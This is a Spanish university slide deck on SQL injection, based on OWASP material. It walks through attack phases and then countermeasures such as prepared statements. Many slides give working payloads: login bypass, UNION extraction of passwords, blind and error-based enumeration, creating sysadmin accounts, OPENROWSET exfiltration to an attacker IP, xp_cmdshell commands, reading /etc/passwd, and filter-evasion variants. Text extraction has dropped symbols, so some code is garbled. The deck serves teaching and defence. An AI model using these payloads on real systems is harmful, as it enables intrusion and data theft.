Title: Seguridad Informtica en el Desarrollo de Aplicaciones
1Seguridad Informáticaen el Desarrollo de
Aplicaciones
- Inyección SQL
- micael.gallego_at_urjc.es
2Inyección SQL
- Introducción
- Descripción Técnica
- Contramedidas
- Conclusiones
3OSWASP
- Open Web Application Security Project (OWASP)
- Comunidad dedicada a permitir que las
organizaciones desarrollen, compren y mantengan
aplicaciones de confianza. - Toda la documentación, herramientas, con código
abierto - http//www.owasp.org
- Material basado en presentación de
- Victor Chapela
- Sm4rt Security Services
- victor_at_sm4rt.com
4Qué es SQL?
- Lenguaje de Consulta Estructurado, SQL,
Structured Query Language - Permite el acceso a las bases de datos
- Estándar ANSI e ISO
- La versión actual es SQL99
- Con SQL se puede
- Ejecutar consultas contra una base de datos
- Obtener información de la base de datos
- Insertar nuevos registros en la base de datos
- Borrar registros de la base de datos
- Actualizar registros de la base de datos
5SQL es estándar, pero
- Hay muchas versiones diferentes de SQL
- Más o menos se soportan las mismas palabras
reservadas de la misma forma (SELECT, UPDATE,
DELETE, INSERT, WHERE, ...) - La mayoría de los sistemas de bases de datos SQL
tienen sus extensiones propietarias además del
SQL estándar
6Tablas de una base de datos SQL
- Una base de datos relacional contiene una o más
tablas identificadas por un nombre - Las tablas contienen registros (rows) con datos
- Por ejemplo, la siguiente tabla se llama
usuarios y tiene los datos en filas y columnas
(rows y columns)
7Consultas SQL
- Con SQL, se pueden hacer consultas a una base de
datos y se tiene un conjunto de datos (resultset)
de resultado - Con la tabla anterior una consulta como esta
- Ofrece el resultado
SELECT LastName FROM users WHERE UserID 1
8SQL Data Manipulation Language
- Lenguaje de Manipulación de Datos (DML)
- SQL incluye sintaxis para actualizar, insertar y
borrar registros - SELECT Consulta datos
- UPDATE Actualiza datos
- INSERT INTO Inserta Nuevos Datos
- DELETE Borra datos
9SQL Data Definition Language
- Lenguaje de Definición de Datos (DDL)
- Permite
- Crear o borrar tablas de la base de datos
- Definir índices (claves, keys)
- Especificar enlaces entre tablas
- Impone ciertas restricciones entre las tablas de
la base de datos - Algunas de las sentencias DDL más utilizadas son
- CREATE TABLE Crea una nueva tabla
- ALTER TABLE Modifica una tabla
- DROP TABLE Borra una tabla
10Metadatos
- Casi todas las bases de datos SQL se basan en el
modelo relacional RDBM (Relational Data Base
Model) - Entre las 12 reglas de Codd para un sistema de
base de datos real - Por lo tanto, la estructura de la base de datos
se puede leer y modificar con consulas SQL
4. Los Metadatos (los datos sobre la base de
datos) se deben almacenar en la propia base de
datos como datos convencionales
11Qué es la Inyección SQL?
- La habilidad de inyectar comandos SQL en una base
de datos a través de una aplicación existente - (generalmente web)
12Inyección SQL
- Cómo es de común?
- Es el ataque más habitual de las aplicaciones web
- Quién es el culpable?
- No es un problema de la base de datos
- MySQL, MS SQL Server, PostgreSQL,
- No es un problema del servidor web
- Apache, Tomcat, JBoss, IIS
13Defecto en Aplicaciones Web
- El ataque aprovecha un defecto en el desarrollo
de aplicaciones web - La mayoría de los programadores no son
conscientes del problema - Muchos tutorial de desarrollo de aplicaciones web
son vulnerables - Incluso peor muchas de las soluciones que
aparecen en Internet no son lo suficientemente
buenas y no evitan el problema
14Aplicaciones Vulnerables
- Casi todos los sistemas de bases de datos y los
lenguajes de programación son potencialmente
vulnerables - MS SQL Server, Oracle, MySQL, Postgres, DB2, MS
Access, Sybase, Informix, etc - Se puede acceder a ellas a través de aplicaciones
desarroladas usando - Perl y scripts CGI que acceden a la base de datos
- ASP, JSP, PHP
- XML, XSL and XSQL
- Javascript
15Inyección SQL
- Introducción
- Descripción Técnica
- Contramedidas
- Conclusiones
16Aplicaciones Web
- Esquema de una aplicación web
Servidor Web
Navegador Web
Base de datos
Aplicación Web
Petición/ Respuesta SQL
Petición/ Respuesta http
17Aplicaciones Web
- Autenticación en aplicaciones web
- El usuario inserta el login y password en un
formulario - Los campos del formulario llegan a la aplicación
web - La aplicación web construye una sentencia SQL con
el login y password y consulta su tabla de
usuarios - Si la consulta devulve resultados, el usuario
está en la base de datos y se considera
autenticado
18Cómo funciona la Inyección SQL?
- Típica sentencia SQL de autenticación de usuarios
- Si la consulta devuelve resultados se autentica
al usuario y se le deja acceder a la página web
SELECT FROM users WHERE login 'victor' AND
password '123
19Cómo funciona la Inyección SQL?
- En la aplicación web, se debe recoger la
información del formulario (usuario y password) y
crear la sentencia SQL - Si formusr y formpwd contienen la información del
formulario, el código que construya la sentencia
SQL se suele implementar de esta forma (ASP/MS
SQL)
var sql "SELECT FROM users WHERE login '"
formusr "' AND password '" formpwd "'"
20Inyección con Strings
- Si a través del formulario de login usamos los
datos - Al final la consulta quedaría
formusr ' or 11 formpwd anything
SELECT FROM users WHERE username ' ' or 11
AND password 'anything'
Comentario de una línea MS SQL --
MySQL
21La potencia del '
formusr ' or 11 formpwd anything
- El apóstrofo cierra el parámetro de String
- Todo lo que haya después de él se considera
sentencia SQL - En algunas páginas se sugiere escapar el
apóstrofo reemplazándolo con doble apóstrofo ('
') - Es un consejo erróneo, ya que hay parámetros de
otros tipos - Números
- Fechas
22Si el parámetro fuese numérico?
SELECT FROM clients WHERE account
12345678 AND pin 1111
(PHP/MySQL)
sql "SELECT FROM clients WHERE " . "account
formacct AND " . "pin formpin"
SELECT FROM clients WHERE account 1 or 11
AND pin 1111
formacct 1 or 11 formpin 1111
23Demo
- Se ha desarrollado una aplicación vulnerable para
mostrar el funcionamiento de la inyección SQL - Página web programada en Java (Servlets y JSP)
que accede a una base de datos - Tiene autenticación de usuarios y permite
consultar información de una base de datos de
zapatillas
24Demo
- Tablas de la base de datos
Modelos
Users
Zapatillas
25Demo
26Inyección de SQL
- Fases del ataque
- Descubrimiento de la vulnerabilidad
- Obtención de Información
- Ataque 11
- Extracción de Información
- Interacción con el Sistema Operativo
27Descubrimiento de la Vulnerabilidad
- Las vulnerabilidades pueden estar en cualquier
parte, se comprueban todos los puntos de entrada - Campos en formularios web
- Parámetros en la URL
- Valores almacenados en cookies
- Valores almacenados en campos ocultos (hidden)
- Podemos utilizar software que por fuerza bruta
intenta buscar vulnerabilidades "fuzzing
insertando - Caracteres ' " ) gt
- Palábras SQL reservadas
- Consulta de retardo ' waitfor delay '0010'
- Hay herramientas que automatizan este trabajo
(fuzzers)
28Inyección de SQL
- Fases del ataque
- Descubrimiento de la vulnerabilidad
- Obtención de Información
- Ataque 11
- Extracción de Información
- Interacción con el Sistema Operativo
29Obtención de Información
- Una vez encontrada la vulnerabilidad, hay que
descubrir - Mecanismo de Salida
- Comprender dónde se inyecta la consulta
- Determinar el tipo de base de datos
- Descubrir los privilegios del usuario conectado a
la base de datos - Determinar el nivel de interacción con el sistema
operativo
30a) Mecanismo de Salida
- Utilizar los resultados que se muestran en la
aplicación web - Mensajes de Error
- Crear consultas SQL que generan mensajes de error
que contienen información valiosa - Inyección SQL Ciega (Blind)
- Retardos de tiempo o páginas de error para
determinar la información - Prácticamente se pueden hacer las mismas cosas
que con los otros métodos, pero muy lentamente
(binario) - Otros mecanismos
- e-mail, SMB, FTP, TFTP
311. Resultados Web
- En muchas aplicaciones web la forma de mostrar
los datos es - Hacer consulta SQL
- Mostrar los resultados de la consulta en forma de
tabla en la página web - Se aprovecha esta característica para modificar
la consulta SQL de forma que los resultados
interesantes se visualicen junto con los datos
normales
321. Resultados Web
- Ejemplo de código vulnerable en la aplicación de
demo
modelos.jsp
String query "SELECT FROM modelos WHERE
idzapatillas" request.getParameter("idzap
atilla") ResultSet rs stmt.executeQuery(query)
while(rs.next()) gt lttrgt
lttdgtltrs.getString("nombre")gtlt/tdgt
lttdgtltrs.getString("stock")gtlt/tdgt lt/trgt lt
BLP (06-07)
32
331. Resultados Web
- Si analizamos el funcionamiento de la página web,
vemos que cuando visualizamos los datos de un
modelo, se hace una petición de este estilo
http//localhost8080/InyeccionSQL/modelos.jsp?idz
apatilla1
341. Resultados Web
String query "SELECT nombre,stock FROM
modelos WHERE idzapatillas"
request.getParameter("idzapatilla") ResultSet
rs stmt.executeQuery(query) while(rs.next())
gt lttrgt lttdgtltrs.getString("nombre")gtlt/tdgt
lttdgtltrs.getString("stock")gtlt/tdgt
lt/trgt lt
http//localhost8080/InyeccionSQL/modelos.jsp?idz
apatilla1
351. Resultados Web
- Para atacar con inyección SQL, necesitamos hacer
una petición a la URL con un valor diferente para
el parámetro idzapatilla - Escribir la URL a mano es engorroso porque hay
que seguir el formato de las URLs - Podemos usar una página web con un formulario
para hacer una petición simulada
361. Resultados Web
Url de la página que queremos atacar
lthtmlgt ltbodygt ltform action"http//localhost8080
/ InyeccionSQL/modelos.jsp"gt
Parámetro ltinput name"idzapatilla"
type"text" size"100"gt lt/formgt lt/bodygt lt/htmlgt
Parámetro que queremos inyectar
Usamos esta página para que nos codifique con el
formato de URL el valor que insertamos en el
formulario Un ataque profesional utilizará
herramientas más elaboradas
371. Resultados Web
- Cómo diseñar la inyección?
- Consulta original
- Valor de idzapatillas para para insertar datos de
otras tablas en el resultado
SELECT nombre,stock FROM modelos WHERE
idzapatillasidzapatilla
SELECT nombre,stock FROM modelos WHERE
idzapatillas1 union SELECT login,password FROM
users
Ejecutamos otra consulta
381. Resultados Web
Resultado
Valor del parámetro
1 union select login,0 from web.users
Login de la tabla de usuarios
391. Resultados Web
Resultado
Valor del parámetro
1 union select password,0 from web.users
password de la tabla de usuarios
BLP (06-07)
39
402. Mensajes de Error
- Error de agrupación
- Podemos probar hasta obtener un nombre válido, en
ese momento todas las columnas salen en los
mensajes de error - ' group by columnnames having 11 --
- 1 group by nombrecampo having 11
- 1 group by nombre having 11
java.sql.SQLException MicrosoftSQL Native
ClientSQL Server Column 'modelos.stock' is
invalid in the select list because it is not
contained in either an aggregate function or the
GROUP BY clause.
412. Mensajes de Error
- Error de tipos
- ' union select 'text',1,1,1 --
- ' union select 1,1, bigint,1,1,1 - -
- Donde 'text' o bigint se unen a una columna de
tipo entero, el error muestra el valor que no
puede convertirse - En bases de datos que admiten subconsultas, una
mejor forma es - ' and 1 in (select 'text' ) - -
- En algunos casos puede ser necesario convertir
los datos para generar los mensajes de error
423. Inyección Ciega
- Podemos evaluar una condición si la aplicación se
comporta de forma diferente con true o false - ' or condition --
- ' or (3 lt 2) --
- Podemos utilizar retardos
- ' if condition waitfor delay '005' --
- ' union select if( condition , benchmark
(100000, sha1('test')), 'false' ),1,1,1,1 - Sólo obtenemos respuestas si/no (binarias)
- Se puede extraer toda la información deseada pero
de forma muy lenta
433. Inyección Ciega
- Absinthe
- Herramienta que automatiza la extracción de
información de la base de datos con inyección
ciega - Antes conocida como SQueaL
- http//www.0x90.org/releases/absinthe
44b) Comprender la consulta
- La consulta puede ser
- SELECT
- UPDATE
- EXEC
- INSERT
- O algo más complejo
- El contexto ayuda
- Qué intenta la página hacer con nuestra entrada?
- Qué nombre tiene el campo, cookie o parámetro?
45b) Comprender la consulta
- Algunas veces los mensajes de error incorporan la
consulta
46Sentencia SELECT
- La mayoría de las inyecciones van en una
sentencia SELECT - Una sentencia SELECT casi siempre termina en una
claúsula WHERE - SELECT FROM table WHERE x 'normalinput'
group by x having 11 -- - Se puede usar
- GROUP BY x
- HAVING x y
- ORDER BY x
47Sentencia UPDATE
- En la sección para cambiar la contraseña, se
puede encontrar lo siguiente - UPDATE users SET password 'new password WHERE
login logged.userAND password 'old password' - Si inyectas en 'new password y comentas el
resto, se cambiarán todas las password de la tabla
48Estructura de la sentencia SELECT
- Intenta replicar un comportamiento sin error
- ' and '1' '1
- Genera errores específicos
- Determina el nombre de la tabla y las columnas '
group by columnnames having 11 -- - Necesitas paréntesis? Es una subconsulta?
49Es un procedimiento almacenado?
- Se utilizan diferentes inyecciones para
determinar qué se puede hacer - ,_at_variable
- ?Param1fooParam2bar
- PRINT
- PRINT _at__at_variable
50Consultas difíciles
- Cuando estamos en parte de una subconsulta o en
una sentencia begin-end - Necesitamos usar paréntesis
- Alguna funcionalidad no está disponible en las
subconsultas (por ejemplo group by, having) - Cuando varias consultas utilizan la entrada
- Podemos obtener errores de diferentes consultas,
esto puede confundir - Un error generado en la consulta que estamos
inyectando puede parar la ejecución de nuestras
propias consultas - Algunas consultas no se pueden realizar
51c) Determinar el tipo de base de datos
- La mayoría de los mensajes de error nos dirán
con qué base de datos estamos trabajando - Los errores ODBC muestran el tipo de base de
datos como parte de la información del driver
52c) Determinar el tipo de base de datos
- Si no tenemos mensaje de error ODBC
- Podemos adivinar el tipo de base de datos
basándonos en el Sistema Operativo y el Servidor
Web - O bien se pueden usar caracteres específicos,
comandos o procedimientos almacenados que generan
diferentes mensajes de error
53Some differences
Recopilación de sentencias típicas para Inyección
SQL http//ferruh.mavituna.com/makale/sql-injectio
n-cheatsheet/
54d) Privilegios del usuario
- Hay varias funciones en SQL99 que funcionan en la
mayoría de las bases de datos - user or current_user
- session_user
- system_user
- ' and 1 in (select user )
- ' if user 'dbo' waitfor delay '005 '--
- ' union select if( user() like 'root_at_',
benchmark(50000,sha1('test')), 'false' )
55d) Privilegios del usuario
- Ejemplo
- 1 and 1 in (select current_user ) --
javax.servlet.ServletException MicrosoftSQL
Native ClientSQL Server Conversion failed when
converting the nvarchar value 'dbo' to data type
int.
56Administradores de base de datos
- Las cuentas de administrador por defecto se
suelen llamar - sa, system, sys, dba, admin, root
- En MS SQL se mapean en dbo
- dbo es un usuario que implica permiso para
realizar todas las actividades en la base de
datos - Cualquier miembro de sysadmin se mapea al usuario
dbo
57Inyección de SQL
- Fases del ataque
- Descubrimiento de la vulnerabilidad
- Obtención de Información
- Ataque 11
- Extracción de Información
- Interacción con el Sistema Operativo
58Descubrir la estructura de la BD
- Determinar los nombres de las tablas y las
columnas - ' group by columnnames having 11 --
- Determinar los tipos de las columnas
- ' union select sum(columnname ) from tablename --
- Enumerar las tablas definidas por el usuario
- ' and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.') --
59Descubrir la estructura de la BD
- Secuencia de descubrimiento
SQL ServerConversion failed when converting the
nvarchar value 'modelos' to data type int.
1 and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.' ) --
1 and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.' and name ltgt
'modelos' ) --
SQL ServerConversion failed when converting the
nvarchar value 'users' to data type int.
60Listar las columnas de las tablas
- MS SQL
- SELECT name FROM syscolumns WHERE id (SELECT id
FROM sysobjects WHERE name 'tablename ') - sp_columns tablename (this stored procedure can
be used instead) - MySQL
- show columns from tablename
- Oracle
- SELECT FROM all_tab_columnsWHERE
table_name'tablename ' - DB2
- SELECT FROM syscat.columnsWHERE tabname
'tablename ' - PostgreSQL
- SELECT attnum,attname from pg_class,
pg_attributeWHERE relname 'tablename ' AND
pg_class.oidattrelid AND attnum gt 0
61Todas las tablas y columnas en una consulta
- ' union select 0, sysobjects.name ' '
syscolumns.name ' ' systypes.name, 1, 1,
'1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype 'U' AND
sysobjects.id syscolumns.id AND
syscolumns.xtype systypes.xtype --
62Todas las tablas y columnas en una consulta
Modelo Stock Jordan 343 modelos id
int 0 modelos idzapatillas int 0 modelos
nombre varchar 0 modelos stock int 0 users
login varchar 0 users password
varchar 0 XC-245 23213 zapatillas descripcion
varchar 0 zapatillas idzapatillas
int 0 zapatillas marca varchar 0 zapatillas
precio decimal 0 zapatillas puntos int 0
1 union select sysobjects.name ' '
syscolumns.name ' ' systypes.name,0, from
sysobjects, syscolumns, systypes where
sysobjects.xtype 'U' AND sysobjects.id
syscolumns.id AND syscolumns.xtype
systypes.xtype --
63Listado de las bases de datos
- En MS SQL Server, las bases de datos se pueden
consultar con master..sysdatabases - Diferentes bases de datos en el servidor
- ' and 1 in (select min(name ) from
master.dbo.sysdatabases where name gt'.' ) -- - Localización física de las bases de datos
- ' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename gt'.' ) --
64Tablas del Sistema
- Oracle
- SYS.USER_OBJECTS
- SYS.TAB
- SYS.USER_TEBLES
- SYS.USER_VIEWS
- SYS.ALL_TABLES
- SYS.USER_TAB_COLUMNS
- SYS.USER_CATALOG
- MySQL
- mysql.user
- mysql.host
- mysql.db
- MS Access
- MsysACEs
- MsysObjects
- MsysQueries
- MsysRelationships
- MS SQL Server
- sysobjects
- syscolumns
- systypes
- sysdatabases
65Inyección de SQL
- Fases del ataque
- Descubrimiento de la vulnerabilidad
- Obtención de Información
- Ataque 11
- Extracción de Información
- Interacción con el Sistema Operativo
66Obtención de Password
- Obtener el nombre de usuario y la contraseña de
una tabla definida por el usuario - ' begin declare _at_var varchar(8000) set _at_var''
select _at_var_at_var' 'login'/'password' '
from users where logingt_at_varselect _at_var as var
into temp end -- - ' and 1 in (select var from temp) --
- ' drop table temp --
67Crear cuentas en la base de datos
- MS SQL
- exec sp_addlogin 'victor', 'Pass123'
- exec sp_addsrvrolemember 'victor', 'sysadmin'
- MySQL
- INSERT INTO mysql.user (user, host, password)
VALUES ('victor', 'localhost', PASSWORD('Pass123')
) - Access
- CREATE USER victor IDENTIFIED BY 'Pass123'
- Postgres (requires UNIX account)
- CREATE USER victor WITH PASSWORD 'Pass123'
- Oracle
- CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp DEFAULT TABLESPACE
users - GRANT CONNECT TO victor
- GRANT RESOURCE TO victor
68Transferir la estructura y los datos
- Una vez que la conectividad se ha comprobado
- MS SQL Server se puede enlazar a una base de
datos del atacante usando un OPENROWSET - La estructura de la BD se replica
- Los datos se transfieren
- Todo se puede hacer conectándose a un puerto 80
remoto
69Crear la estructura de la BD
- ' insert into OPENROWSET('SQLoledb',
'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
80', 'select from mydatabase..hacked_sysdatabas
es') select from
master.dbo.sysdatabases -- - ' insert into OPENROWSET('SQLoledb',
'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
80', 'select from mydatabase..hacked_sysdatabas
es') select from
user_database.dbo.sysobjects -- - ' insert intoOPENROWSET('SQLoledb','uidsapwd
Pass123NetworkDBMSSOCNAddressmyIP,80','selec
t from mydatabase..hacked_syscolumns')select
from user_database.dbo.syscolumns --
70Transferir los datos
- ' insert into
- OPENROWSET('SQLoledb',
- 'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
80', - 'select from mydatabase..table1')
- select from database..table1 --
- ' insert into
- OPENROWSET('SQLoledb',
- 'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
80', - 'select from mydatabase..table2')
- select from database..table2 --
71Inyección de SQL
- Fases del ataque
- Descubrimiento de la vulnerabilidad
- Obtención de Información
- Ataque 11
- Extracción de Información
- Interacción con el Sistema Operativo
72Interacción con el SO
- Dos formas de interactuar con el SO
- Leyendo y escribiendo ficheros de sistema en
disco - Encontrar passwords y ficheros de configuración
- Cambiar las passwords y la configuración
- Ejecutar comandos sobrescribiendo los ficheros de
inicialización o configuración - Ejecución directa de comandos
- Se puede hacer todo (como abrir una shell)
- Ambos están restringidos por los privilegios y
permisos de usuario que ejecuta la base de datos
73Interacción con SO con MySQL
- MySQL
- LOAD_FILE
- ' union select 1,load_file('/etc/passwd'),1,1,1
- LOAD DATA INFILE
- create table temp( line blob )
- load data infile '/etc/passwd' into table temp
- select from temp
- SELECT INTO OUTFILE
74Interacción con SO con MS SQL
- MS SQL Server
- ' exec master..xp_cmdshell 'ipconfig gt test.txt'
-- - ' CREATE TABLE tmp (txt varchar(8000)) BULK
INSERT tmp FROM 'test.txt' -- - ' begin declare _at_data varchar(8000) set
_at_data' ' select _at_data_at_datatxt' ' from
tmp where txtlt_at_data select _at_data as x into temp
end -- - ' and 1 in (select substring(x,1,256) from temp)
-- - ' declare _at_var sysname set _at_var 'del
test.txt' EXEC master..xp_cmdshell _at_var drop
table temp drop table tmp --
75Arquitectura
- Hay que tenerlo en cuenta siempre
- La inyección habitualmente se ejecutará en un
servidor diferente - Puede que no tenga acceso a Internet
76Conectividad del equipo
- Nombre del servidor y configuración
- ' and 1 in (select _at__at_servername ) --
- ' and 1 in (select srvname from
master..sysservers ) -- - NetBIOS, ARP, Local Open Ports, Trace route?
- Conexiones Inversas
- nslookup, ping
- ftp, tftp, smb
- Hay que comprobar si hay firewall y proxies
77Obtener la IP
- DNS Inverso
- ' exec master..xp_cmdshell 'nslookup a.com MyIP'
-- - Ping Inverso
- ' exec master..xp_cmdshell 'ping MyIP' --
- OPENROWSET
- ' select from OPENROWSET( 'SQLoledb', 'uidsa
pwdPass123 NetworkDBMSSOCN AddressMyIP,80',
'select from table')
78Subir ficheros con la inyección
- Aunque la base de datos no esté conectada a
Internet, se pueden subir ficheros - Los ficheros tienen que convertirse a hexadecimal
para que se puedan enviar con la consulta SQL - Tienen que partirse en piezas de 4Kbytes
79Inyección SQL
- Introducción
- Descripción Técnica
- Contramedidas
- Conclusiones
80Contramedidas
- Existen varias formas de evitar la Inyección SQL
- Por el desarrollador
- Por la base de datos
- Por un analizador de red
81Contramedidas
- Por el desarrollador
- Validar la entrada
- El reto es usar las mejores prácticas de forma
consistente a través de todo el código - Asegurar que se cumple en las nuevas aplicaciones
- Auditar las aplicaciones existentes en busca de
vulnerabilidades
82Contramedidas
- Por el desarrollador
- Nunca se deben crear las consultas SQL como
concatenación de Strings - Siempre se debe usar la API parametrizada en la
que cada parámetro se especifica de forma
independiente
PreparedStatement pStmt conn.prepareStatement(
"SELECT FROM users WHERE login? AND
password?") pStmt.setString(1,
login) pStmt.setString(2, password) ResultSet
rs pStmt.executeQuery()
83Contramedidas
- Por el desarrollador
- Utiliza procedimientos almacenados siempre que
sea posible - Hay que asegurarse de que las entradas numéricas
sean realmente numéricas - Integer.parseInt()
- El usuario con el que la app accede a la base de
datos debe tener los permisos estrictamente
necesarios
84Contramedidas
- Por el desarrollador
- Rechaza entradas sospechosas en vez de intentar
escaparlas o modificarlas - Implementa filtros específicos de palabras clave
de la inyección SQL - "select", "insert", "update", "shutdown",
"delete", "drop", "--", "'"
85Contramedidas
- Por la base de datos
- Ejecuta la base de datos con un cuenta con los
privilegios estrictamente necesarios - Borra los procedimientos almacenados que no se
usen - Cambia los permisos a los objetos del sistema y a
los metadatos - Haz que el servidor de la base de datos esté
detrás de un firewall de forma que sólo los
clientes de confianza puedan acceder a él
(administrador de red, servidor web y servidor de
copias de seguridad)
86Contramedidas
- Por un analizador de red
- Analizar las entradas de una aplicación web
(parámetros URL, atributos ocultos, cookies) en
busca de patrones de ataques típicos - Sólo como medida de protección adicional a la del
desarrollador, ya que puede ser burlada fácilmente
87Contramedidas
- Evitar la detección del patrón ' OR 11
- ' OR 'unusual' 'unusual'
- ' OR 'something' 'some''thing'
- ' OR 'text' N'text'
- ' OR 'something' like 'some'
- ' OR 2 gt 1
- ' OR 'text' gt 't'
- ' OR 'whatever' IN ('whatever')
- ' OR 2 BETWEEN 1 AND 3
88Inyección SQL
- Introducción
- Descripción Técnica
- Contramedidas
- Conclusiones
89Conclusiones
- Inyección de SQL es una vulnerabilidad peligrosa
- Todos los lenguajes de programación y bases de
datos son potencialmente vulnerables - La protección contra esta vulnerabilidad requiere
- Diseño apropiado
- Validación de las entradas
- Uso de las librerías apropiadas (no usar
concatenación de Strings) - Aislar el servidor de base de datos y limitar los
permisos que sobre él tiene la aplicación web
90Referencias
- Artículos
- http//www.nextgenss.com/papers.htm
- http//www.spidynamics.com/support/whitepapers/
- http//www.appsecinc.com/techdocs/whitepapers.html
- http//www.atstake.com/research/advisories
- Otras fuentes
- http//www.owasp.org
- http//www.sqlsecurity.com
- http//www.securityfocus.com/infocus/1768